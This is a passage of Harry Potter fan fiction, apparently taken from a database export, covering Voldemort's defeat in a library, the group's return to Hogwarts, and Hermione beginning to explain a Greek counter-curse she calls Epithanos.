She had loose shoulder length strawberry blond hair.  He couldn’t see her face.  \n</p><p>\n“Ron Weasley?” she asked.  She had a serious, brisk voice.\n</p><p>\n“Uh, yeah,” replied Ron pulling out his wand.\n</p><p>\n“No, no,” she said without turning round. “I won’t hurt you.  However, I have a message to deliver to you.  Harry and Hermione have gone to fight Voldemort.”\n</p><p>\nRon’s jaw dropped, “What?  Fight You-Know-Who?  Where?  When?”\n</p><p>\n“I think they’re in the library.”\n</p><p>\nA suspicion was entering Ron’s mind.  Before he could properly think it through, the woman said, “You really can trust me, it isn’t a trap I promise you.  You however, must write and get help.  Estella Green won’t be able to deliver the message.”\n</p><p>\n“Estella Green?!”\n</p><p>\n“Yes, she was here.  This place is Voldemort’s.  Now, you get some paper and a pen and write to Dumbledore.  We need help urgently.”\n</p><p>\n“Why don’t <i>you</i> do something if it’s so urgent?”\n</p><p>\n“Because it’s their battle.  I can’t interfere.  Where’s that parchment?”\n</p><p>\nRon couldn’t see any.\n</p><p>\n“Honestly, conjure some.  Oh, if you don’t know how...”  She raised a hand and drew with a finger a piece of parchment in the air and then a pen.  They shone silver in the air then she muttered a spell and a piece of parchment and a pen appeared in front of Ron.\n</p><p>\n“Without you wand!” cried Ron in astonishment.\n</p><p>\n“Without my wand,” she replied in an exasperated tone. “Now get writing.  I’ll dictate.  Um... Write this.  Dear Professor Dumbledore.  We have discovered that Lord Eldir is actually Lord Voldemort.  Oh, correct that.  You’d say You-Know-Who.  You got that?  I’ll carry on.  Harry and Hermione have gone to fight in the library and as you realise, this is their fight and I can’t interfere.  Still, I would like some support and I would be obliged if you could come here ASAP.  I imagine the castle is protected by apparition guards so apparate to the nearest village, which is called Denby Dale.  You can fly from there.  For reasons of my own I would prefer it if you didn’t let it be known I sent you this letter.  You were given this information from a spy of yours.  However, I can tell you this is all true.  I am not a spy impersonating me.  I really am Ron Weasley.  Yours sincerely, Ron Weasley.  That’ll do.”\n</p><p>\nRon finished writing and shook his aching hand, “I don’t understand.  Why don’t you send it yourself if you really are trustworthy?  Why don’t you show me your face?  How can you do magic without a wand?”\n</p><p>\nThe woman shook her head, “I can’t tell you any of this because technically I don’t exist.”\n</p><p>\nRon started, “You’re a...a ghost?”\n</p><p>\n“No, but I can’t explain what I mean.  Please just trust me.  I love you three.  I couldn’t see anything happen to you.  I also beg you not to tell of who or what you have seen.”\n</p><p>\nRon didn’t know what to say.\n</p><p>\n“You’re scared of me.  OK, let’s just say, I’ll hurt you if you don’t comply with my wishes.”  She sounded quite desperate now, “For Harry’s sake don’t tell.  I mean it.”\n</p><p>\nRon swallowed, “All right.  I trust you, I don’t why, but I do.  Shall I send the letter off now?”\n</p><p>\n“Yes, send it with Hedwig.”\nRon turned around and folded the letter up, attached it to Hedwig’s legs and whispered “Be fast!”  He turned round to open the window and send the owl off.  The woman had disappeared.  Ron looked around the room but no one was there.  Hedwig flew out of the window.  Ron gaped, “What happened to her?”  Crookshanks rubbed against his legs, but obviously couldn’t answer.\n</p><p></p><div class="center">*</div><p></p><p>\nA jet of green light hit Harry in the chest.  The library was totally silent.  He didn’t fall to the floor.  The green light seemed to cover him entirely.  Hermione could hardly see; it was so bright.  Then it was all gone and they were left with spots across their eyes.  And Harry was still there.  He was sitting on the floor looking absolutely shocked, but it was nothing to how Voldemort looked.  He backed away, horrified, “You’re...you’re still alive?”\n</p><p>\nHarry pinched himself then said slowly, “Yes, I am.”\n</p><p>\nVoldemort let go of Harry’s wand.  “How?”\n</p><p>\nFor once Voldemort and Harry seemed to be in agreement, “I don’t know.  Do you?”\n</p><p>\n“No.”\nHermione almost giggled.  She hadn’t felt so light hearted for a long time.  Quickly though, she muttered, “Accio Wand!”  Harry’s wand flew into her waiting hands.  However, in her eagerness to see what had happened, the cloak had slipped off her shoulders.  \n</p><p>\n“So...” Voldemort seemed to have recovered a bit, “It looks we have a spectator.”\n</p><p>\nHarry wheeled round and saw Hermione.  He opened his mouth as if to say something but nothing came out.\n</p><p>\n“Er, good afternoon, my Lord,” she said as casually as possible.\n</p><p>\n“Elvira, you’re very welcome to join our little family reunion.  You have witnessed Harry Potter resisting the death curse for the second time.  Do you have any ideas how he did this?”\n</p><p>\n“None at all.”\n</p><p>\n“Indeed.  I have wanted to meet you for a long time now, you know.  You have heard of the prophecy concerning yourself and Mr. Harry Potter.”\n</p><p>\n“Yes.  I have heard it.”\n</p><p>\n“Of course, I understand that you will be joining us.”\n</p><p>\nHermione tried to look at him straight in the eye, “That was what the prophecy said, didn’t it?  And everyone knows prophecies always come true.”\n</p><p>\nVoldemort nodded, “So you are joining me?”\n</p><p>\n“That’s what I gave you to understand, wasn’t it?”\n</p><p>\nHarry made a gagging sound.  Hermione ignored him, “Of course Harry will come with me, won’t you?”\n</p><p>\n“NO!  If you betray us, that’s your decision, but don\'t expect me to go along with it!”  Harry said furiously glaring at Hermione.\n</p><p>\n“All right.  It looks like our paths go separate ways from now on.  I’ll just give Harry his wand back.”  She looked at Voldemort for collaboration.\n</p><p>\n“Yes, give him his wand back.  Then you can duel together afterwards.”\n</p><p>\nHermione smiled slightly and concentrated all her mind in giving Harry his wand back.  \n</p><p>\n“Go on, give it him then,” Voldemort hissed impatiently.\n</p><p>\nThe wand appeared in Harry’s hand.  He looked at it in surprise.  Hermione smiled and twirled her own wand like Voldemort had done earlier.  He looked from one to the other in surprise and his face went paler and paler as he realised what he had just seen.\n</p><p>\n“Do you have the Unbreakable Link?”\n</p><p>\n“Oh, did I forget to mention that?  Yes, we do.”  Hermione was enjoying this.\n</p><p>\nVoldemort couldn’t go any whiter; in fact, he seemed to be going slightly green now, “But you are on my side now?”  \n</p><p>\n“That\'s what I said,” Hermione replied in honeyed tones.  In her mind she had made up her mind what she was going to do, <i>Harry</i>, she said into his head, <i>After three say it</i>.\n</p><p>\n<i>Say what?</i> replied Harry.\n</p><p>\n<i>Do you want to kill him or not?  We won’t go to Azkaban for this.  One!</i>\n</p><p>\nThey raised their wands.  Voldemort raised his finger as well.  He seemed to understand what they were going to do.  Hermione had tricked him.\n</p><p>\n“I’m your father!”\n</p><p>\n“You have killed others’ fathers!”\n</p><p>\n<i>Two!</i>\n</p><p>\n“You’ll never do it.”\n</p><p>\n“Don’t be so sure of it.”\n</p><p>\n“Expelli-”\n</p><p>\n<i>Three!</i>\n</p><p>\n“AVADA KEDAVRA!”\n</p><p>\nTwo jets of green light shot out from each of their wands.  Just before they hit Voldemort the jets joined and turned into a brilliant gold.  Hermione felt her wand hand shaking as she tried to maintain the light.  It was blinding, you could not see anything else.  There was a rushing sound, like a cross between the wind and the beautiful phoenix song.  The gold light hit Voldemort and there was a burst gold light illuminating his terrified face and his body, now picked up from the floor.  Then the gold intensified even more for a split second before disappearing, taking Voldemort with it.\n</p><p></p><div class="center">*</div><p></p><p>\nFar away at Hogwarts, Professor Snape, marking Potions papers in the staff room, felt his skin on his left arm burning.  He rolled up his sleeve quickly.  The dark burned clearer than ever then abruptly it disappeared.\n</p><p>\n'),
	(62, 13, '<p><i>It is a truth universally acknowledged that JK Rowling wrote the HP series, and not me...</i></p><p>\n<span class="u"><b> </b></span></p><div class="center"><b>Harry Potter and the Unbreakable Link</b></div><p></p><p>\nChapter 13- Epithanos\n</p><p>\nRon rushed into the library, following Professor Dumbledore. Both had their wands out. The library, however, was silent and dark. Hermione was sitting near a bookshelf, her head on her knees.  Harry\'s invisibility cloak and her wand were lying next to her. Further along Harry was standing; his wand still clutched in his hand, staring into space. When they entered the room he turned round and said with a sigh, "He\'s gone, Professor." \n</p><p>\nDumbledore nodded, almost as he hadn\'t really heard. "Are you all right? Not hurt?" he asked anxiously.\n</p><p>\nHarry nodded and pointed to Hermione, "I\'m not sure about her, though." \n</p><p>\nDumbledore and Ron, who was looking rather lost, turned to Hermione. Dumbledore knelt down beside her, "How are you?" he asked loudly, for she had not moved since they had entered the room. \n</p><p>\n"Is he gone? Really gone?" Hermione muttered. \n</p><p>\n"So Harry says." \n</p><p>\nHermione looked up at them and then seemed to notice Professor Dumbledore for the first time. "Oh. Er... hello, Professor. Er-" She didn\'t seem to know what to say. \n</p><p>\n"I suggest we return to Hogwarts as soon as possible," he proposed. </p><p>\nHarry, Ron, who was looking extremely bewildered, and Hermione nodded. She stood up and shook herself. Then, picking up her wand and giving a very Hermione-ish stare at no one, she put her nose in the air and left the library first without a backward glance. \n</p><p>\nThey packed quickly and then took their trunks downstairs. Dumbledore was waiting in the hall. Harry wondered how they were going to get back to Hogwarts. Were they going to apparate? \n</p><p>\n"I have some floo powder here. I have temporarily connected the castle up and we will return that way." \n</p><p>\nThey went into the dining room (the room with the biggest fire) when Harry suddenly remembered Irene. "What\'s happened to Irene?" \n</p><p>\nThey all stared at him blankly. Then Ron said, "Gosh, I completely forgot. She went off into the forest. I don\'t know where she is." \n</p><p>\n"Irene is the servant Mrs. Weasley told me about?" \n</p><p>\n"Yes. She\'s a squib-" said Hermione. \n</p><p>\n"-and a Malfoy-" continued Harry. \n</p><p>\n"-and she works for You-Know-Who, but she helped me, so I don\'t think she\'s too bad," finished Ron. \n</p><p>\n"What will happen to her?" asked Harry, "she can\'t go back to her parents." \n</p><p>\n"No," replied Dumbledore. "I suggest she returns with us to Hogwarts. We can decide what will happen to her then." \n</p><p>\n"How will you find her?" asked Ron. \n</p><p>\n"Honestly, Ron!  He\'ll use the tracking spell. We did it in Charms for our OWLs. I can\'t believe you don\'t remember it," protested Hermione. \n</p><p>\nRon scowled at her and Dumbledore coughed slightly, told them he\'d be back shortly and left in search of Irene. \n</p><p>\nThe other three sat in silence. Ron didn\'t want to force Harry and Hermione to talk about whatever happened if they didn\'t want to. Harry simply didn\'t want to think about it, and Hermione was well aware that Dumbledore would want to know what happened, so she thought she might as well kill two birds with one stone and tell Ron at the same time. \n</p><p>\nAfter about ten minutes Dumbledore returned with Irene. She looked pale but collected though she hardly said \'hello\' to them. Dumbledore took Harry, Ron and Hermione aside and whispered to them, "Irene has told me all that has happened to her. She has been through a massive ordeal, as have you all, and should on no account be questioned." \n</p><p>\nHe then turned to Irene, "Do you know how to use floo-powder?" \n</p><p>\nShe nodded. Dumbledore threw some into the flames, which immediately glowed green, "Harry- you go first with your trunk."   Harry dragged his case into the fire and cried loudly, "Hogwarts!" \n</p><p>\nHe disappeared. Ron followed with his case, then Hermione and Crookshanks disappeared. Irene went next and Dumbledore brought up the rear with Hermione\'s case. \n</p><p></p><div class="center">*</div><p></p><p>\nMia climbed off the train at King\'s Cross station on platform seven. She had ran away from the orphanage after she had had a second dream. This one had consisted of her parents saying good-bye to a girl Mia guessed was their supposed daughter who had been swapped with herself in her previous dream. The second dream had taken place at King\'s Cross station. The girl had gone towards the barrier between platforms nine and ten, and then she had disappeared. \nMia now knew that she had living parents, and though she did not expect to see them when she arrived at the station, she could at least try to find out how the girl had disappeared. \n</p><p>\nShe walked towards the appropriate barrier. There were no trains on platform nine, but a small train from Windsor was sitting belching fumes at platform ten. Hordes of day-trippers were coming from it. She hesitated just before she reached the barrier and looked round. What exactly had the girl done? Mia closed her eyes tight and tried to visualise her dream. The consequence was that a group of lively American tourists bumped into her, knocking her into the barrier between the platforms. Fuming, Mia glared at the offending party and rubbed her funny bone, which she had hit. \n</p><p>\nShe touched the barrier, hit it, kicked it, and walked up and down  alongside it, achieving nothing more than a few sidelong glances from a nearby guard. Eventually she gave it up and leant against the barrier, frowning in frustration. She seemed to have reached a dead end. \n</p><p>\nSuddenly her attention was caught by two people coming at a fast walk towards where she was standing. There was a woman in a beige tweed skirt suit carrying an overnight bag and a briefcase. She was thin lipped and had determined grey eyes. She reminded Mia of an old maths teacher. Next to her, slightly behind her, was a very tall man with bright red hair and horn-rimmed spectacles, dragging a suitcase. They stopped and Mia watched idly as the woman looked at her watch, said something and the man nodded quite a few times. They approached her slowly and she could catch something of their conversation. \n</p><p>\n"I could have taken Farrel, you know," the woman said in a no-nonsense voice. \n</p><p>\n"Farrel? He\'s hardly serious enough." \n</p><p>\n"He\'s got his heart in the right place, and he\'s very good when he actually makes an effort. Just because he is sometimes slightly frivolous over his job doesn\'t make him a fool, Percy." \n</p><p>\n"But... he can\'t take his job lightly. He\'s your secretary!" \n</p><p>\nThey stopped again, and suddenly the woman leaned up and kissed the man called Percy on the cheek, making him go very red. \n</p><p>\n"What was that for, Marisa?" \n</p><p>\nMarisa gave the first hint of a smile, "Just remember, I really should have taken Farrel. Take it and chew it while you\'re finding seats. I\'ll be ready to hear you\'re conclusions when I follow you in a minute." \n</p><p>\n"Chew it?!" \n</p><p>\n"Yes, like chewing gum. Now get on the platform- we\'ll miss the train. I\'m just getting a newspaper." \n</p><p>\nPercy started to walk towards the barrier. Mia moved away unconsciously to let him pass, but he disappeared. Mia\'s jaw dropped.  She stared and looked round for the woman who was buying her paper. \n</p><p>\nSoon she poked the newspaper into a pocket and started towards the barrier as well. Mia however did not the let the chance go, "Excuse me?" \n</p><p>\nShe stopped, "Yes?" \n</p><p>\n"How do you do it?" Mia asked bluntly. \n</p><p>\n"I beg your pardon? I don\'t what you\'re talking about and I have a train to catch." \n</p><p>\n"You won\'t catch it by walking towards the barrier. Or perhaps you\'ll disappear like your friend and the girl in my dreams did." \n</p><p>\nThe woman frowned and seemed to be looking for an escape route. \n</p><p>\n"Where did they go?" Mia persisted. \n</p><p>\nThe woman reached inside her jacket and pulled out a short stick like the woman in the black cloak had done in her dream. Miss Fairfax had said it was a magic wand which Mia had not believed. But could there actually be something in what she said? It was a chance... \n</p><p>\n"That\'s a nice wand. Where\'d you get it?" \n</p><p>\n"Ollivander\'s of course. <i>What</i>?!" \n</p><p>\n"So it is a magic wand?" \nThe woman looked vexed, "How do you know?" \n</p><p>\n"My dreams. The person in the black cloak used one and Miss Fairfax thought it was a magic wand because the boy at the orphanage used one, and killed someone by pointing it at them." \n</p><p>\n"What? You\'re speaking in riddles, but never mind. What was the name of this boy? Can you remember?" \n</p><p>\n"Er...Riddle I think." \n</p><p>\n"My god! You-Know-Who! Start at the beginning, this is important!" \n</p><p>\n"What do you mean?" \n</p><p>\nPercy suddenly appeared by them, "Marisa! You have two min- Who\'s that?" \n</p><p>\n"What\'s your name?" Marisa asked Mia. \n</p><p>\n"Mia Grann, aged eighteen, resident of Little Blackhill Orphanage, Suffolk." \n</p><p>\n"There you have it, Percy. Well Mia, why are you here?" \n</p><p>\nMia explained why she had ran away. \n</p><p>\n"Right. Percy, get on that train to Hogwarts and tell Dumbledore that I am coming and reassure him that everyone passed their NEWTs and OWLs with flying colours. I\'ll follow tomorrow." \n</p><p>\n"But-" \n</p><p>\n"No buts!" \n</p><p>\n"Er, yes Marisa." And Percy disappeared again. \n</p><p>\n"Are you hungry, Mia?" \n</p><p>\n"Yes!" replied Mia, who hadn\'t eaten anything since a sandwich on the little Blackhill platform. \n</p><p>\n"All right, lets head for this café." \n</p><p>\nMia followed Marisa into the little station café and ordered a large plate of fish and chips. \n</p><p>\n"I think I forgot to introduce myself. I\'m Marisa Goldfinger, temporary Minister of Magic." \n</p><p>\n"Minister of Magic?!" \n</p><p>\n"Yes, Minister of Magic. The equivalent of your Prime Minister." \n</p><p>\nMia\'s jaw dropped. She was eating fish and chips with the Minister of Magic! \n</p><p>\n"Oh, don\'t go all sycophantic just because you know I\'m a bigwig." \n</p><p>\n"But I-" \n</p><p>\n"That\'s all right. Well, you want to know about magic? Perhaps you\'d better tell me what you know first." \n</p><p>\nMia told her, and as she spoke Marisa\'s eyebrows grew more and more tight together. She was silent for a few seconds. Then she said to herself, "And Pettigrew wanted to know all those details about eighteen year old girls. I think he\'s looking for the girl you were swapped with. And if the woman had a black cloak... Dumbledore needs to be told about this." \n</p><p>\nMia listened in silence, rather confused. What her dreams were about seemed to interest a stranger as well as herself. It was peculiar that Marisa believed so implicitly in them. Maybe all these magical people had funny dreams. A sudden doubt entered Mia\'s head. Should she believe Marisa? Should she herself really be taking her dreams seriously? Everyone had strange dreams occasionally, but that didn\'t mean they were true. It was scientifically proven that this happened. Mia like things that were scientifically proven. Abstraction, theories, ideas she couldn\'t understand. She liked facts and figures and concrete rules. She was very down to earth and did not have much imagination. \n</p><p>\n"Prove to me that magic exists," said Mia suddenly as Marisa was vainly trying to open a plastic saché of tartar sauce. \n</p><p>\nMarisa looked quickly up, "You don\'t believe me?" Mia shook her head. \n</p><p>\n"Well, I can show you, but we mustn\'t let anyone see." They looked surreptitiously around and Marisa pulled out her wooden stick.  "This is my wand. I will now open this packet of tartar sauce by magic." Almost hiding her wand in her coat, she pointed it at the packet and muttered so only Mia could hear, "<i>Aprite</i> packet!" The packet opened as if cut by an invisible pair of scissors. Mia stared and Marisa smiled. \n</p><p>\n"Will you open mine as well?" Mia asked. Marisa did so and then put her wand back in her pocket. "Do you believe me now?" \n</p><p>\n"Yes, I think I do. It\'s all so strange, though!" \n</p><p>\n"I imagine it must be. Now would you like to hear all about us?" \n</p><p>\n"Please." \n</p><p>\nMarisa laughed and started talking while they finished their meal. She talked about Hogwarts, the four founders, platform 9¾, the Ministry of Magic, Diagon Alley, Dumbledore and Grindelwald, Voldemort, Harry Potter, quidditch and much more. When she had concluded, Mia having finished her fish and chips, a bowl of ice-cream, coffee and biscuits, felt like one of the most knowledgeable people in the world. \n</p><p>\n"So what am I?" she asked as they walked out of the café, "I\'m not a witch because I can\'t see the platform, but I don\'t think I\'m totally normal. Otherwise we would all know about magic, and we don\'t." \n</p><p>\n"Good point, Mia. You\'re not a muggle strictly speaking. I think you\'re a psychic." \n</p><p>\n"A what?" \n</p><p>\n"A psychic. You\'re not actually magical yourself, but you can sense the magical world. You have the type of dreams only a wizard would normally have, and you can see us get onto platform 9¾." \n</p><p>\n"But...but can\'t anyone see you disappear?" \n</p><p>\n"Oh no. They see us pass through the barrier, but then they just forget all about it. You remembered it." \n</p><p>\nMia digested this information in silence. \n</p><p>\n"Now," said Marisa, "What are you going to do tonight?" \n</p><p>\n"Well, I suppose I should return to Blackhill," Mia said doubtfully. \n</p><p>\n"No. I don\'t think you should. I\'ll take you to Diagon Alley and you can stay the night in the <i>Leaky Cauldron</i>." \n</p><p>\n"Why can\'t I return to Blackhill?" \n</p><p>\n"Two reasons," replied Marisa. "One, I don\'t think there are any more trains going; and two, I can get hold of you more easily if you\'re in the magical world." \n</p><p>\n"Why would you need to get hold of me?" asked Mia. \n</p><p>\n"Well, tomorrow, I shall go to Hogwarts to present the exam results and certificates to the fifth and seventh years. It\'s a tradition, you see, for the Minister to present the certificates. It adds a kind of real ceremony to it all. Anyway, while I\'m at Hogwarts I shall talk to Professor Dumbledore. He always knows what to do. Then we\'ll find out who your parents are and hopefully you can meet them. However, it will be considerably easier to arrange all that if you are in Diagon Alley. We must go there now, find an owl and send news to your orphanage. They must be worried sick about you." \n</p><p>\n"Oh yes!" Mia nodded, relieved. \n</p><p>\n"We\'ll find you a chaperone for the next few days. I think Linda Newman\'s back from Bordeaux... She might do it if she hasn\'t broken anything else." \n</p><p>\n"Broken?" \n</p><p>\n"She\'s dreadfully accident prone, is Linda. If she hasn\'t broken this; she\'s sprained that, if she hasn\'t sprained that; she\'s dislocated this. Anyway...shall we go?" \n</p><p>\nMia nodded and they got up and left the station. \n</p><p></p><div class="center">*</div><p></p><p>\nHarry fell out of the fireplace into Dumbledore\'s office and looked up at the startled faces of Sirius and Arabella. "What happened? Are you all safe? Was it Voldemort? Ron and Hermione? What\'s happened?" they cried. \n</p><p>\nSirius pulled Harry\'s trunk out of the way and Arabella picked up his glasses. Just as he had scrambled up, Ron and his trunk appeared in the fire place. Sirius grabbed Ron and his trunk and pulled them out of the way as Hermione and Crookshanks appeared. Hermione got up by herself and Crookshanks crawled hastily under a table. Soon they were all in the office. \n</p><p>\nSirius and Arabella stared at Irene in astonishment. "Who\'s she?" Arabella asked Dumbledore. \n</p><p>\n"All in good time. Why don\'t you sit down?" \n</p><p>\nThey sat. Dumbledore turned to Harry, Ron, Hermione and Irene. "Much has happened since we last met." \n</p><p>\nRon was heard to mutter, "Talk about understatements..." \n</p><p>\n"If everyone is agreeable I suggest we have sandwiches up here, as dinner is over. While we eat I suggest one of you tells us exactly what happened. At present I am quite at sea." \n</p><p>\n"Don\'t you think that they should get some sleep first?" suggested Arabella with hesitation.  Hermione nodded vigorously.\n</p><p>\nDumbledore stared at them hard out of his piercing blue eyes.  Harry could guess what he was going to say.  He was right.  Dumbledore said, "You\'re right, Arabella.  However, I think Harry would agree that it is better to get explanations over as soon as possible.  Of course all the young people are exhausted."\n</p><p>\nHarry then voiced the question that had been occupying all their minds, "What will happen to Irene?" \n</p><p>\nThey all looked at her. She was sitting very still and calmly. As usual her face was perfectly expressionless except for her eyes which darted all around the room, taking as much as possible. \n</p><p>\n"I think we should ask Miss Malfoy that herself,"  Dumbledore replied gravely, giving Irene the same piercing stare. \n</p><p>\n"I would like to, if it is all right, to er, not return to my parents," Irene responded, not looking at anyone. \n</p><p>\n"I see," Dumbledore thought for a minute then said, "Would you like to remain here at Hogwarts?" \nIrene\'s face seemed to brighten for a minute, then it clouded over again, "But I can\'t. I\'m a squib and squibs are outcasts of society." She said it in a monotonous tone, as if she had been made to learn and recite it. \n</p><p>\n"Nonsense!" said Dumbledore sharply. "Being a squib has nothing to do with your position in society. You are just as clever as you would be could you use a wand. You can still brew most potions, ride a broomstick, take part in Care of Magical Creatures, Herbology, Arithmancy, Astronomy, History of Magic, Ancient Runes and Muggle Studies lessons. With the help of a kwik-spell course you may be able to perform a few simple charms as well. In fact, the only lessons you wouldn\'t be able to take part in are Defence against the Dark Arts, Transfiguration and Charms. In these lessons you could have your kwik-spell course. Professor Sinistra, our Astronomy teacher has done much work with that course and will, I am sure, be happy to teach you. I see no reason why you shouldn\'t attend Hogwarts in a normal way. You would be in the fifth year, I believe." \n</p><p>\n"But...but squibs have never been to Hogwarts before!" said Hermione. \n</p><p>\n"True," replied Dumbledore, "but I am hoping to change that. Miss Perks of Ravenclaw is an excellent astronomist and I hope she could replace my colleague Rosa if she took on the job of instructing the kwik-spell course full time. The Minister of Magic should arrive tomorrow, and I shall discuss the point with her then." \n</p><p>\n"The Minister of Magic is arriving tomorrow?" asked Sirius. \n</p><p>\n"Yes. She\'s coming to present the exam results next week at the Laurels\' Ceremony." \n</p><p>\nThe Laurels\' Ceremony was when the NEWTs certificates and a silver wreath were presented to each pupil. It was called the Laurels\' Ceremony because it harked back to the laurel wreaths which were placed on the heads of ancient Olympic winners.  If you had done particularly well then you would wear a golden wreath. Harry was pretty sure Hermione would have a golden wreath.  There was a ball at the end of term called the Laurels\' Ball. It was a tradition for the boys to dance with every girl in the year. \n</p><p>\n"Will I be sorted?" asked Irene. \n</p><p>\n"Certainly. We will sort you now, if you like. Arabella, if you would kindly pass the Sorting Hat..." \n</p><p>\nArabella picked up the hat from where it lay on the shelf with Godric Gryffindors\' ruby encrusted sword. \n</p><p>\n"May I be sorted in private?" Irene asked. \n</p><p>\nDumbledore looked at her for a moment, "Irene, the Sorting Hat has never made a mistake yet." \n</p><p>\n"Yes, but-" \n</p><p>\n"Very well. I think I shall leave you in the charge of Professor-" Dumbledore stopped for someone was pounding on the door. \n</p><p>\n"Oh, that\'s McGonagall," explained Sirius. "She\'s been in about every five minutes trying to find you, something about Snape." \n</p><p>\n"Come in." \n</p><p>\nThe door swung open and Professor McGonagall rushed in. She caught sight of the assembled group and clutched the corner of the desk, "Goodness, well...never in my life...Professor...what\'s going on?" \n</p><p>\n"What\'s going on, Minerva, is that these students have just rid the world for always of Lord Voldemort." \n</p><p>\n"My goodness..." She suddenly noticed Harry for the first time, "Potter! The hospital wing immediately!" \n</p><p>\n"But Professor, I\'m fine. We really are..." He glanced over at Hermione, whose head had fallen on her breast, <i>WAKE UP!</i> he yelled through his mind. Hermione\'s head jerked up, "What? That was a really good dream I was having..." \n</p><p>\n"We really don\'t need to go to the hospital wing, honestly." Harry looked at Dumbledore for confirmation. \n"I don\'t believe they are in anyway need of medical attention, Minerva, however I shall send them to the hospital wing when we have finished with explanations.  What I want you to do is to supervise Miss Malfoy\'s sorting and listen to anything she would want to tell you. You will then give her some supper and put her to bed in the hospital wing for tonight. Then you and Severus should return here. I take it the dark mark has disappeared like last time?" \n</p><p>\n"Severus... dark mark... he\'s not a death eater, is he?" \n</p><p>\nProfessor Dumbledore stood up and said firmly, "We shall be in-" \n</p><p>\n"My office," interposed Arabella. \n</p><p>\nHarry, Ron and Hermione (yawning heavily and carrying Crookshanks) followed Sirius, Arabella and Dumbledore out of his office, down the moving staircase, through the deserted corridors and into Arabella\'s office. \n</p><p>\nHarry had been in four of the Defence against the Dark Arts professors\' rooms before. Professor Quirrel, Professor Lockhart, Professor Lupin and the fake Professor Moody\'s. The year after Barty Crouch had left, the real Moody taught them, but he had to leave at the end of the year because he was needed by the Ministry. In their sixth year they had been taught by a young Australian wizard who had fallen in love with a barmaid in Hogsmeade and had carried her off to Australia to marry her at the end of the year. \n</p><p>\nArabella\'s room was by far the most comfortable of the rooms he had been in. A roaring fire was in the grate and photos in frames stood on the mantlepiece. An old upright piano with music scattered all over it stood in the corner, Persian rugs were on the floor and there were two armchairs by the fire. \n</p><p>\nHarry zoned in on the photos, "Here, there\'s one of old Mrs. Figg in Privet Drive." \n</p><p>\nArabella looked at him, amused, "My mother, Harry. She is a muggle, by the way." \n</p><p>\nHe picked up another one. It showed a large pink stall with the words, \'GUARANTEED TO GET YOU TOGETHER!\' sketched across the top. Underneath was a picture of a fruit bowl and next to it, \'FRUITFULL HEAVENS- THE HOGWARTS DATING AGENCY!\' \n</p><p>\nHarry looked at the two girls sitting in the booth. One was clearly Arabella- she hadn\'t changed a bit; wide apart blue eyes, blond bob and earrings. The other was- "She\'s not my mum, is she?" \n</p><p>\n"Which one are you looking at? Oh! Yes, that\'s Lily all right." \n</p><p>\n"But...I thought my mum had red hair!  In this picture, she\'s got fair." \n</p><p>\n"Red hair? She dyed it after she left school, but her natural colour was fair." \n</p><p>\n"Oh."  There was nothing else to say. \n</p><p>\n"Do you think we could defer this interesting discussion on the success of the Hogwarts Dating Agency until a better time?" asked Dumbledore. \n</p><p>\nThey all turned to face him.  Dumbledore continued, "There are things about this business that I think I already know about. However I will not confuse you by adding these. So now, could you tell us exactly how it is that yet another time Harry Potter has fought the Dark Lord, and has once again come out on the top." \n</p><p>\n"Where shall I start?" asked Harry. \n</p><p>\n"I think the beginning would be preferable." \n</p><p>\nThe beginning? Harry\'s mind went blank. \n</p><p>\n"Wait a minute." Dumbledore immediately conjured a plate of sandwiches which the group fell on. Harry thought of where to begin. \n"In the summer I kept having some dreams. They were about a girl who was going round palaces and museums looking for something. I could never see the girl\'s face but in the last dream, as she was being chased by guards, I gave her my invisibility cloak so she could escape. When I woke up I looked for my cloak, but it had gone." \n</p><p>\n"Yes, I know about that dream, Harry," said Dumbledore. \n</p><p>\n"How come?" \n</p><p>\n"As I think I have said before, you are not Sirius\' only correspondent. Please continue." \n</p><p>\n"On the train I found out that I\'d actually passed the cloak to Hermione. She gave it back to me then." \n</p><p>\nThe focus shifted to Hermione. Sirius asked, "So were you looking for something in palaces and museums, Hermione, or was that just a dream?" \n</p><p>\nHermione yawned, "I suppose you want to know what I was doing breaking into private houses in Greece?" \n</p><p>\n"Well, if it\'s not too much trouble, then yes," replied Ron. Hermione glared at him. "Harry didn\'t start at the beginning," she continued. "The beginning was in the Easter holidays last year when my parents wrote and told me that we were going to Greece in the summer. The ancient Greeks, you know, were not only philosophers, mathematicians and play writes. They were also magicians. Many of the curses and spells we know today come the Romans, but most of them originated even earlier in Greece. For example, Avada Kedavra comes from the Greek curse, Thanos- a derivative from the Greek for death, thanatos." \n</p><p>\n"Spare us the lecture, Hermione," sighed Ron. \n</p><p>\n"Shut up, Ron! As I was saying, in Greek magical philosophy, for every curse there was a counter curse. It was the balance of good and evil. This meant that there must have been a counter curse for Thanos." \n</p><p>\nEveryone was listening attentively now. \n</p><p>\n"How did you find all this out, Hermione?" inquired Dumbledore.\n</p><p>\n"Oh, I was doing a bit of research in the summer term, so I would understand the visit more. My social life wasn\'t very lively then." She shot Ron a quailing look, "I didn\'t actually find out that there was a counter curse to Thanos. I just thought there must be. I also taught myself the Greek alphabet and a bit of the language to help me when I was there.  I decided to call it Epithanos because epi means against, and the curse is against death. \n</p><p>\n"My mother sent me some guidebooks to help me with my research. In one of them was printed a fragment of a letter as an example of something found on a site. You can imagine my surprise when I recognised the word Epithanos on it. I even got the name right! I translated the fragment. It basically said, \'...and how are you getting on with Epithanos? Can you hurry up because Thalia wants to know the protection; she\'s convinced someone\'s following her. All nonsense if you ask me, but anyway...\' \n</p><p>\n"I wrote to the author of the guide book and asked for a copy of the complete letter, which they sent me. I was convinced, you see, that the person who was being written to, a little known philosopher caller Keidon, was researching the counter curse to Thanos. And because Avada Kedavra is almost exactly the same as Thanos then this counter spell might work for Avada Kedavra as well." \n</p><p>\nShe drew breath and continued, "I knew the letter had been sent to Keidon. When I was in Greece I hoped to find a book of his writings.   I researched the date of when the letter was written and I discovered he was staying at Corinth when he was doing the spell. I went to the museum there and looked for anything that could be appropriate. I asked the manager if there had ever been such a piece of paryrus or book containing the word, Epithanos and by the minor Greek philosopher, Keidon. There had been, but it had been bought by the American millionaire, Winston Jefferson. Apparently it was extremely well preserved for its period. \n</p><p>\n"I found out that this millionaire had a house in Greece where he kept a collection of antiques. However he seldom lives there now. I went there. It was at that house, by the way that I met the guards and received Harry\'s cloak. I found it." \n</p><p>\n"Found what?" asked Arabella. \n</p><p>\n"The counter curse to Thanos. It was written on a piece of parchment, as I had expected." \n</p><p>\nThere was a silence, then Dumbledore said, "What did you do then?" \n</p><p>\n"I copied it into my notebook and got out of his house as fast as I could. I fell ill when we returned to England, but as soon as I could, I translated the curse. It turned out it wasn\'t exactly a counter-curse, but a spell of protection from Thanos. It 